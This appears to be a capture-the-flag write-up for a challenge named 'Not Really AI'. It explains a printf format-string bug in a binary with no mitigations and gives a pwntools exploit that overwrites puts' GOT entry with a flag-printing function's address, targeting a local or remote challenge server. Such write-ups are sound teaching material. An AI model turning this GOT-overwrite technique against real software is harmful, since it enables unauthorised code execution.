Not Really AI

Description

Exploit the service to get the flag.

Files

nra

flag.txt

Enumeration

checksec shows that THERE ARE NO MITIGATION AT ALL.

When you run the program, it repeats what you typed.

Static Analysis

With Binary Ninja we can check out where it reads and prints our input.

We can see that printf doens’t have any strings before it gives input. This is vulnerable to string format vulnerability.

Also, there is handy function where it “cat flag.txt”

Solution

Since it is Partial RELRO and has No PIE, we can just override puts.got with flaggy address.

#/usr/bin/python2.7
from pwn import *

isLocal = True

if isLocal:
    p = process("./nra")
else:
    p = remote("95.216.233.106", 25480)

elf = ELF("./nra")

GOT_PUTS = elf.got['puts']
FUNC_FLAGGY = elf.sym['flaggy']

p.recvline()

print(hex(FUNC_FLAGGY)) #0x08049245

p.sendline(p32(GOT_PUTS + 2)  + "@@@@" + p32(GOT_PUTS) + "%.8x%.8x%.2024x%hn%.35393x%hn")

p.readline()
p.readline()
print(p.readline())